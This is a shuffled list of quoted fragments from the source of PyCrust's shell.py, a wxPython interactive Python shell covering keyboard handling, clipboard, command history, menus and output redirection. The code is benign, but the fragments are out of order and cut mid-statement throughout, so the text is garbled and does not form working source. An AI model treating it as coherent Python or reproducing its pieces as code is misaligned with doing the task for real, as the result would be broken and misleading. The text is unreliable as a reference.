"'[]{}()' \\ and styleBefore == wxSTC_P_OPERATOR: braceAtCaret = caretPos - 1 # Check",
"b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO,",
"#*** styleAfter = self.GetStyleAt(caretPos) if charAfter and chr(charAfter) in '[]{}()' \\ and styleAfter",
"the '(' to the end of the command. self.ReplaceSelection('') command = self.GetTextRange(stoppos, currpos)",
"view after each command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show methods and functions in",
"== WXK_BACK: if selecting and self.CanEdit(): event.Skip() elif currpos > self.promptPosEnd: event.Skip() #",
"!= '' and line.lstrip() == line: # New command. if command: # Add",
"a user types in commands to be sent to the interpreter. This particular",
"self.python_obj_paste_handler = None # Add the current working directory \".\" to the search",
"setStyles(self, faces): \"\"\"Configure font size, typeface and color for lexer.\"\"\" # Default style",
"'' def pause(self): \"\"\"Halt execution pending a response from the user.\"\"\" self.ask('Press enter",
"buffer. elif (controlDown and key == WXK_DOWN) \\ or (altDown and key in",
"id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif id == ID_FILLING_SHOW_DOC:",
"the history. self.historyIndex = i break def setStatusText(self, text): \"\"\"Display status information.\"\"\" #",
"# XXX Add some autoindent magic here if more. if self.more: self.write(' '*4)",
"self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list: options = '\\n'.join(list) offset = 0 self.AutoCompShow(offset,",
"0 else: return self.GetCurrentPos() >= self.promptPosEnd def Cut(self): \"\"\"Remove selection and place it",
"commands.\"\"\" if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): endpos = self.GetTextLength()",
"programming expertise.\"\"\" from __future__ import print_function __author__ = \"<NAME> <<EMAIL>>\" __cvsid__ = \"$Id:",
"'&Paste \\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the selection') m.Append(wxID_SELECTALL, 'Select A&ll', 'Select",
"m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust') m = self.editMenu = wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo",
"def OnFillingShowDict(self, event): tree = self.crust.filling.fillingTree tree.showDict = event.IsChecked() tree.update() def OnFillingShowDoc(self, event):",
"key? self.processLine() def topLevelComplete(self): command = self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command) if len(completions) ==",
"'__version__': VERSION, } # Add the dictionary that was passed in. if locals:",
"prompt. elif key == WXK_HOME: home = self.promptPosEnd if currpos > home: self.SetCurrentPos(home)",
"'\\\\n' command = command.replace( '\\\\n', os.linesep + sys.ps2) self.clearCommand() self.write(command) # Process the",
"self.historyMatches = matches = [] for command in self.history: if command[:n] == prefix",
"# If they hit RETURN inside the current command, execute the command. if",
"self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self, text): \"\"\"Return text with line endings replaced by OS-specific",
"reader.input: wxYield() input = reader.input finally: reader.input = '' reader.isreading = 0 return",
"be aware of the prompt. elif key == WXK_HOME: home = self.promptPosEnd if",
"executed: ' + startupScript self.push('print %s;execfile(%s)' % \\ ('startupText', 'startupScript')) else: self.push('') def",
"# Is there a 'name' for the Enter key? self.processLine() def topLevelComplete(self): command",
"if command[:6] == 'shell.': # Run shell methods silently. self.run(command, prompt=0, verbose=0) else:",
"is added to the size of all fonts. It may be positive to",
"events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) # Configure various defaults and user",
"text control in which a user types in commands to be sent to",
"# Assign some pseudo keywords to the interpreter's namespace. try: self.setBuiltinKeywords() except: pass",
"to the end of the line. End Go to the end of the",
"commands/responses. if not self.CanEdit(): return key = event.KeyCode() currpos = self.GetCurrentPos() stoppos =",
"text[ps2size:] return text def push(self, command): \"\"\"Send command to the interpreter for execution.\"\"\"",
"the cursor.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() # The text up",
"from wx.py.pseudo import PseudoFileIn, PseudoFileOut, PseudoFileErr from wx.py.version import VERSION # local imports",
"WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert the next command from the history buffer.",
"in '[]{}()' \\ and styleBefore == wxSTC_P_OPERATOR: braceAtCaret = caretPos - 1 #",
"clipboard instance data = enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return def PasteAndRun(self): \"\"\"Replace selection",
"which a user types in commands to be sent to the interpreter. This",
"clipboard. Ctrl+Up Arrow Retrieve Previous History item. Alt+P Retrieve Previous History item. Ctrl+Down",
"\"\"\"Display auto-completion popup list.\"\"\" list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list: options",
"historyShow(self, prefix=''): items = [] for item in self.history: item = item.replace( '\\n',",
"to the size of all fonts. It may be positive to magnify or",
"Completion', self.autocompMenu, \\ 'Auto Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu, \\ 'Call Tip",
"'Show Auto Completion', \\ 'Show auto completion during dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include",
"endpos) lines = command.split(os.linesep + sys.ps2) lines = [line.rstrip() for line in lines]",
"1) m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling Options') m = self.helpMenu = wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT,",
"= { 'times' : 'Times', 'mono' : 'Courier', 'helv' : 'Helvetica', 'other' :",
"close event handler we can make sure they want to quit. # Other",
"# Run shell methods silently. self.run(command, prompt=0, verbose=0) else: self.run(command, prompt=0, verbose=1) finally:",
"+ sys.ps1, '\\n') text = text.replace(os.linesep + sys.ps2, '\\n') text = text.replace(os.linesep, '\\n')",
"faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\")",
"is selected and can be copied.\"\"\" return self.GetSelectionStart() != self.GetSelectionEnd() def CanPaste(self): \"\"\"Return",
"syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes', \\ 'Include attributes visible to __getattr__ and",
"def OnPaste(self, event): self.shell.Paste() def OnClear(self, event): self.shell.Clear() def OnSelectAll(self, event): self.shell.SelectAll() def",
"braceOpposite == -1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self, event): \"\"\"Keypress event handler.",
"EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self, event): self.Close(True) def OnUndo(self, event):",
"return 0 else: return self.GetCurrentPos() >= self.promptPosEnd def Cut(self): \"\"\"Remove selection and place",
"command.replace(os.linesep + sys.ps2, os.linesep) command = command.replace(os.linesep + sys.ps1, os.linesep) command = self.lstripPrompt(text=command)",
"Shell.', '__version__': VERSION, } # Add the dictionary that was passed in. if",
"and place it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() data =",
"the line contains a command (even an invalid one). if self.getCommand(rstrip=0): command =",
"may not necessarily be valid Python syntax.\"\"\" # XXX Need to extract real",
"pass # Don't allow line transposition. elif controlDown and key in (ord('T'), ord('t')):",
"= __revision__ def __init__(self, other): \"\"\"Create a ShellFacade instance.\"\"\" methods = ['ask', 'clear',",
"'startupScript')) else: self.push('') def setStyles(self, faces): \"\"\"Configure font size, typeface and color for",
"(ord('L'), ord('l')): pass # Don't allow line transposition. elif controlDown and key in",
"\"\"\"Replacement for stderr.\"\"\" self.write(text) def redirectStdin(self, redirect=1): \"\"\"If redirect is true then sys.stdin",
"to the interpreter. if not controlDown and key == WXK_RETURN: if self.AutoCompActive(): event.Skip()",
"name): return getattr(self.other, name) else: raise AttributeError(name) def __setattr__(self, name, value): if name",
"EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if",
"self.CallTipActive(): self.CallTipCancel() if (not self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')): self.historyShow() else: self.insertLineBreak()",
"the beginning if we don't find anything. if (self.historyIndex <= -1) \\ or",
"print \"this\" this >>> \"\"\" # Go to the very bottom of the",
"place it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() command = command.replace(os.linesep",
"self.write('(') if self.autoCallTip: self.autoCallTipShow(command) else: # Allow the normal event handling to take",
"Home Go to the beginning of the command or line. Shift+Home Select to",
"Ctrl+C Copy selected text, removing prompts. Ctrl+Shift+C Copy selected text, retaining prompts. Ctrl+X",
"true if text is selected and can be cut.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd()",
"wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE,",
"all text from the shell.\"\"\" self.ClearAll() def run(self, command, prompt=1, verbose=1): \"\"\"Execute command",
"stderr.\"\"\" self.write(text) def redirectStdin(self, redirect=1): \"\"\"If redirect is true then sys.stdin will come",
"dialog = wxTextEntryDialog(None, prompt, \\ 'Input Dialog (Raw)', '') try: if dialog.ShowModal() ==",
"then sys.stdin will come from the shell.\"\"\" if redirect: sys.stdin = self.reader else:",
"Cut to the clipboard. elif (controlDown and key in (ord('X'), ord('x'))) \\ or",
"charAfter and chr(charAfter) in '[]{}()' \\ and styleAfter == wxSTC_P_OPERATOR: braceAtCaret = caretPos",
"Insert the previous command from the history buffer. elif (shiftDown and key ==",
"'pause', 'prompt', 'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout', 'run', 'runfile', 'wrap', 'zoom', ] for method",
"self.CallTipCancel() self.processLine() # Ctrl+Return (Cntrl+Enter) is used to insert a line break. elif",
"def run(self, command, prompt=1, verbose=1): \"\"\"Execute command within the shell as if it",
"wxNewId() ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW = wxNewId() ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId()",
"and let the surrounding app # decide what it wants to do. self.write('Click",
"command = self.GetTextRange(stoppos, currpos) + '(' self.write('(') if self.autoCallTip: self.autoCallTipShow(command) else: # Allow",
"2005, Enthought, Inc. # All rights reserved. # # This software is provided",
"if self.CanCopy(): command = self.GetSelectedText() data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def",
"the very bottom of the text. endpos = self.GetTextLength() self.SetCurrentPos(endpos) command = command.rstrip()",
"key == WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1) # Search up the history for the",
"restored by self.redirect* methods. self.stdin = sys.stdin self.stdout = sys.stdout self.stderr = sys.stderr",
"command to the list. commands.append(command) # Start a new command, which may be",
"thing. elif self.AutoCompActive(): event.Skip() # Let Ctrl-Alt-* get handled normally. elif controlDown and",
"chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks) text = os.linesep.join(lines) return text def prompt(self):",
"environment. They can override anything they want. try: self.execStartupScript(self.interp.startupScript) except: pass def destroy(self):",
"this is a continuation line, autoindent as necessary.\"\"\" isreading = self.reader.isreading skip =",
"self.ClearAll() def run(self, command, prompt=1, verbose=1): \"\"\"Execute command within the shell as if",
"elif key == WXK_TAB: if self.CanEdit() and not self.topLevelComplete(): event.Skip() # Don't toggle",
"# Basic navigation keys should work anywhere. elif key in NAVKEYS: event.Skip() #",
"key == WXK_INSERT): self.Paste() # Paste from the clipboard, run commands. elif controlDown",
"self.PasteAndRun() # Replace with the previous command from the history buffer. elif (controlDown",
"def __init__(self, parent, id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\ locals=None, InterpClass=None, *args,",
"item. F8 Command-completion of History item. (Type a few characters of a previous",
"= ['ask', 'clear', 'pause', 'prompt', 'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout', 'run', 'runfile', 'wrap', 'zoom',",
"if self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)): return 1 else: return 0",
"# Return (Enter) needs to be ignored in this handler. if key ==",
"clipboard. elif controlDown and not shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT):",
"event.Skip() return if self.CallTipActive(): self.CallTipCancel() self.processLine() # Ctrl+Return (Cntrl+Enter) is used to insert",
"wxNewId() ID_FILLING_SHOW_MODULE = wxNewId() class ShellMenu: \"\"\"Mixin class to add standard menu items.\"\"\"",
"wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy selection, including prompts, and place it on the clipboard.\"\"\"",
"text, so we need to see if there # is a selection that",
"if self.GetSelectionStart() != self.GetSelectionEnd(): if self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd:",
"wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit)",
"controlDown and altDown: event.Skip() # Clear the current, unexecuted command. elif key ==",
"useful information about how to use the shell.\"\"\" self.write(self.helpText) def __getattr__(self, name): if",
"Retrieve Next History item. Alt+N Retrieve Next History item. Shift+Up Arrow Insert Previous",
"len(history)-1: command = history[self.historyIndex] command = command.replace('\\n', os.linesep + sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self,",
"if (not self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')): self.historyShow() else: self.insertLineBreak() # If",
"Copy selected text, removing prompts. Ctrl+Shift+C Copy selected text, retaining prompts. Ctrl+X Cut",
"not self.CanEdit(): pass # Paste from the clipboard. elif (controlDown and not shiftDown",
"len(ps2) # This is a total hack job, but it works. text =",
"= self.GetCurrentLine() while text[:ps2size] == ps2 and line > 0: line -= 1",
"c in range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks) text = os.linesep.join(lines) return",
"\"\"\"Replacement for stdout.\"\"\" self.write(text) def writeErr(self, text): \"\"\"Replacement for stderr.\"\"\" self.write(text) def redirectStdin(self,",
"sys.stdout = PseudoFileOut(self.writeOut) else: sys.stdout = self.stdout def redirectStderr(self, redirect=1): \"\"\"If redirect is",
"redirect is true then sys.stderr will go to the shell.\"\"\" if redirect: sys.stderr",
"- 1 # Check after. if braceAtCaret < 0: charAfter = self.GetCharAt(caretPos) #***",
"def createMenus(self): m = self.fileMenu = wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust') m",
"'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the selection') m.Append(wxID_SELECTALL, 'Select A&ll', 'Select all text')",
"underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores', \\ 'Include attibutes prefixed by a double",
"self.push(command) # Or replace the current command with the other command. else: #",
"self.topLevelComplete(): event.Skip() # Don't toggle between insert mode and overwrite mode. elif key",
"command = command.replace( '\\\\n', os.linesep + sys.ps2) self.clearCommand() self.write(command) # Process the command",
"# clipboard is really just a signal to grab the data # from",
"PyCrust') b = self.menuBar = wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu,",
"'mono' : 'Courier', 'helv' : 'Helvetica', 'other' : 'new century schoolbook', 'size' :",
"This number of points is added to the size of all fonts. It",
"elif id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif id ==",
"Get the command between the prompt and the cursor. # Add the '('",
"home = self.promptPosEnd if currpos > home: self.SetCurrentPos(home) if not selecting and not",
"search for. numCharsAfterCursor = self.GetTextLength() - startpos searchText = self.getCommand(rstrip=0) if numCharsAfterCursor >",
"raise AttributeError(name) def _getAttributeNames(self): \"\"\"Return list of magic attributes to extend introspection.\"\"\" list",
"stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds) # Find out for which keycodes the",
"for the context, either ps1, ps2 or ps3. If this is a continuation",
"a signal to grab the data # from our singleton clipboard instance data",
"the zoom level. This number of points is added to the size of",
"rights reserved. # # This software is provided without warranty under the terms",
"self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self, event): \"\"\"Keypress event handler. Only receives an",
"undone action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut the selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy",
"Tips', self.calltipsMenu, \\ 'Call Tip Options') if hasattr( self, 'crust' ): fm =",
"PyCrust' text = 'PyCrust %s\\n\\n' % VERSION + \\ 'Yet another Python shell,",
"Search upwards from the current history position and loop back # to the",
"F8.) F9 Pop-up window of matching History items. (Type a few characters of",
"self.historyMatches) def replaceFromHistory(self, step, history=None): \"\"\"Replace selection with command from the history buffer.\"\"\"",
"self.GetCurLine()[0][:ps2size] == ps2: line += 1 self.GotoLine(line) stoppos = self.GetCurrentPos() command = self.GetTextRange(startpos,",
"help? self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap() try: self.SetEndAtLastLine(false) except AttributeError: pass",
"EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self,",
"PseudoFileIn, PseudoFileOut, PseudoFileErr from wx.py.version import VERSION # local imports from .drag_and_drop import",
"go to the shell.\"\"\" if redirect: sys.stderr = PseudoFileErr(self.writeErr) else: sys.stderr = self.stderr",
"'Include attibutes prefixed by a double underscore', 1) m = self.calltipsMenu = wxMenu()",
"item. Shift+Up Arrow Insert Previous History item. Shift+Down Arrow Insert Next History item.",
"(altDown and key in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) # Insert the previous command from",
"sys.stdin self.stdout = sys.stdout self.stderr = sys.stderr self.handlers = [] self.python_obj_paste_handler = None",
"one isn't provided. if InterpClass == None: from PyCrust.interpreter import Interpreter else: Interpreter",
"ord('v')): self.PasteAndRun() # Replace with the previous command from the history buffer. elif",
"<NAME>,\\n' + \\ 'the other half is still in the oven.\\n\\n' + \\",
"== WXK_F8: self.OnHistorySearch() # Show all history entries that match the command typed",
"self.historyIndex == -1 means # you're on the current command, not in the",
"OnFillingShowDoc(self, event): tree = self.crust.filling.fillingTree tree.showDoc = event.IsChecked() tree.update() def OnFillingShowModule(self, event): tree",
"status information.\"\"\" # This method will most likely be replaced by the enclosing",
"GTK faces = { 'times' : 'Times', 'mono' : 'Courier', 'helv' : 'Helvetica',",
"to the search path. sys.path.insert(0, os.curdir) # Import a default interpreter class if",
"text.split('\\r\\n') for l in range(len(lines)): chunks = lines[l].split('\\r') for c in range(len(chunks)): chunks[c]",
"ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr( self, 'crust' ):",
"event.Enable(self.shell.CanCut()) elif id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id",
"\\ 'Half-baked by <NAME>,\\n' + \\ 'the other half is still in the",
"current status.\"\"\" id = event.GetId() if id == wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id ==",
"elif selecting and key not in NAVKEYS and not self.CanEdit(): pass # Paste",
"= six.moves.builtins.quit = \\ 'Click on the close button to leave the application.'",
"charAfter < 0: charAfter = 32 # Mimic a space. #*** styleAfter =",
"__class__', 'Show __class__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show",
"wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self, event): self.shell.autoComplete = event.IsChecked() def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic",
"functions in the tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show __class__ entries in",
"else: self.AutoCompShow(len(command), '\\n'.join(completions)) return 1 def writeOut(self, text): \"\"\"Replacement for stdout.\"\"\" self.write(text) def",
"Select to the beginning of the command or line. Shift+End Select to the",
"wxMINOR_VERSION, wxRELEASE_NUMBER) < (2, 3, 2): faces['size'] -= 2 faces['lnsize'] -= 2 else:",
"wxID_REDO: event.Enable(self.shell.CanRedo()) elif id == wxID_CUT: event.Enable(self.shell.CanCut()) elif id == wxID_COPY: event.Enable(self.shell.CanCopy()) elif",
"history = self.history newindex = self.historyIndex + step if -1 <= newindex <=",
"enthought/LICENSE.txt and may be redistributed only # under the conditions described in the",
"not self.historyPrefix: self.historyPrefix = 1 self.historyMatches = None prefix = self.getCommand(rstrip=0) n =",
"current command with the other command. else: # If the line contains a",
"attibutes prefixed by a single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores', \\ 'Include",
"an active auto completion. if self.AutoCompActive(): self.AutoCompCancel() # Get the command between the",
"= lines[l].split('\\r') for c in range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks) text",
"entries in the tree view', 1) m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling Options') m =",
"Enthought, Inc. # Description: <Enthought util package component> #------------------------------------------------------------------------------ \"\"\"The PyCrust Shell is",
"'PyCrust-Shell, The PyCrust Python Shell.', '__version__': VERSION, } # Add the dictionary that",
"isreading: prompt = str(sys.ps3) elif self.more: prompt = str(sys.ps2) else: prompt = str(sys.ps1)",
"track of the # prompt every time a command is issued. ps1 =",
"self.CanEdit(): pass # Paste from the clipboard. elif (controlDown and not shiftDown \\",
"Assign handlers for keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar) # Assign handlers for",
"had a sizing bug on Win platform. # The font was 2 points",
"if braceAtCaret >= 0: braceOpposite = self.BraceMatch(braceAtCaret) if braceAtCaret != -1 and braceOpposite",
"lines = text.split('\\r\\n') for l in range(len(lines)): chunks = lines[l].split('\\r') for c in",
"OnHistoryInsert(self, step): \"\"\"Insert the previous/next command from the history buffer.\"\"\" if not self.CanEdit():",
"EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"charBefore < 0: charBefore = 32 # Mimic a space. #*** styleBefore =",
"local namespace. try: self.setLocalShell() except: pass # Do this last so the user",
"in matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self, step, history=None): \"\"\"Replace selection with",
"+ \\ 'Shell Revision: %s\\n' % self.shell.revision + \\ 'Interpreter Revision: %s\\n\\n' %",
"elif controlDown and shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts() #",
"event): \"\"\"Display an About PyCrust window.\"\"\" import sys title = 'About PyCrust' text",
"sys.stderr = PseudoFileErr(self.writeErr) else: sys.stderr = self.stderr def CanCut(self): \"\"\"Return true if text",
"self.write(command) if wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler is not None: # note that the",
"to automatically pop up command completion options? self.autoComplete = 1 self.autoCompleteIncludeMagic = 1",
"a call tip and cancels # an active auto completion. if self.AutoCompActive(): self.AutoCompCancel()",
"modification of previously submitted commands/responses. key = event.KeyCode() controlDown = event.ControlDown() altDown =",
"len(completions) == 1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions)) return 1 def writeOut(self, text): \"\"\"Replacement",
"redirect=1): \"\"\"If redirect is true then sys.stdout will go to the shell.\"\"\" if",
"\"fore:#FF0000,back:#FFFF88\") # Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER,",
"== wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id == wxID_REDO: event.Enable(self.shell.CanRedo()) elif id == wxID_CUT: event.Enable(self.shell.CanCut())",
"if charAfter and chr(charAfter) in '[]{}()' \\ and styleAfter == wxSTC_P_OPERATOR: braceAtCaret =",
"\"\"\"Sets whether text is word wrapped.\"\"\" try: self.SetWrapMode(wrap) except AttributeError: return 'Wrapping is",
"import print_function __author__ = \"<NAME> <<EMAIL>>\" __cvsid__ = \"$Id: shell.py,v 1.2 2003/06/13 17:59:34",
"if redirect: sys.stdout = PseudoFileOut(self.writeOut) else: sys.stdout = self.stdout def redirectStderr(self, redirect=1): \"\"\"If",
"we have something interesting. shellLocals = {'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The PyCrust Python",
"if text: if not text.endswith(os.linesep): text += os.linesep self.write(text) try: self.write(self.interp.introText) except AttributeError:",
"removing prompts. Ctrl+Shift+C Copy selected text, retaining prompts. Ctrl+X Cut selected text. Ctrl+V",
"the cursor. # Add the '(' to the end of the command. self.ReplaceSelection('')",
"invalid one). if self.getCommand(rstrip=0): command = self.getMultilineCommand() self.clearCommand() self.write(command) # Otherwise, put the",
"all commands in file as if they were typed into the shell.\"\"\" file",
"command.rstrip() command = self.fixLineEndings(command) command = self.lstripPrompt(text=command) command = command.replace(os.linesep + sys.ps2, '\\n')",
"else: # Multiline command. Add to the command. command += '\\n' command +=",
"before. if charBefore and chr(charBefore) in '[]{}()' \\ and styleBefore == wxSTC_P_OPERATOR: braceAtCaret",
"auto-completion popup list.\"\"\" list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list: options =",
"Console', 'lucida' : 'Lucida Console', 'other' : 'Comic Sans MS', 'size' : 10,",
"sitting on any line in the shell. thepos = self.GetCurrentPos() startpos = self.promptPosEnd",
"license. The license # is also available online at http://www.enthought.com/licenses/BSD.txt # Thanks for",
"the beginning of the command or line. Shift+End Select to the end of",
"of the cursor.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() # The text",
">>> print \"this\" this >>> \"\"\" # Go to the very bottom of",
"controlDown and key == WXK_RETURN: if self.AutoCompActive(): event.Skip() return if self.CallTipActive(): self.CallTipCancel() self.processLine()",
"% sys.version.split()[0] + \\ 'wxPython Version: %s\\n' % wx.__version__ + \\ 'Platform: %s\\n'",
"self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle)",
"view', 1) m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling Options') m = self.helpMenu = wxMenu() m.AppendSeparator()",
"= [line.rstrip() for line in lines] command = '\\n'.join(lines) if self.reader.isreading: if not",
"key = event.GetKey() if key == 28 or key == 1241712: # Is",
"and then press F9.) \"\"\" def help(self): \"\"\"Display some useful information about how",
"wxTheClipboard.GetData(data): self.ReplaceSelection('') command = data.GetText() command = command.rstrip() command = self.fixLineEndings(command) command =",
"id == wxID_CUT: event.Enable(self.shell.CanCut()) elif id == wxID_COPY: event.Enable(self.shell.CanCopy()) elif id == wxID_PASTE:",
"Underscores', \\ 'Include attibutes prefixed by a single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double",
"dictionary that was passed in. if locals: shellLocals.update(locals) # Create a replacement for",
